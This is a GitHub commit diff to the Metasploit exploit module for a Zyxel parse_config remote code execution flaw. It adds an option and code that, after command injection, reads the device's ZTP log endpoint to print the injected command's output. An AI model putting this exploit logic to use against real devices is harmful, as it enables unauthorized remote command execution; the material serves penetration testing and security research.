Skip to content

Commit 7e4c6ca

Browse files
committed
Added code to print stdout of payloads without reverse connections
1 parent 1d602da commit 7e4c6ca

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,7 @@ def initialize(info = {})
5252
register_options(
5353
[
5454
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
55+
OptBool.new('SHOW_CMD_OUTPUT', [true, 'When true the module will query the logs for the injected command\'s stdout', false])
5556
]
5657
)
5758
end
@@ -155,6 +156,25 @@ def exploit
155156
'data' => data.to_s
156157
})
157158

159+
# If the payload being used is for example cmd/unix/generic and not a payload spawning a reverse connection we can
160+
# query the /ztp/cgi-bin/dumpztplog.py for the stdout of the command and print it for the user.
161+
if payload_instance.connection_type == 'none'
162+
cmd_output_res = send_request_cgi({
163+
'method' => 'GET',
164+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')
165+
})
166+
167+
if cmd_output_res&.body && !cmd_output_res.body.empty?
168+
output = cmd_output_res.body.split("</head>\n<body>")[1]
169+
output = output.split("</body>\n</html>")[0]
170+
output = output.gsub("\n\n<br>", '')
171+
output = output.gsub("[IPC]IPC result: 1\n", '')
172+
print_good("Command output: #{output}")
173+
else
174+
print_error("Could not retrieve the command's stout from /ztp/cgi-bin/dumpztplog.py")
175+
end
176+
end
177+
158178
unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
159179
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
160180
end

0 commit comments

Comments
 (0)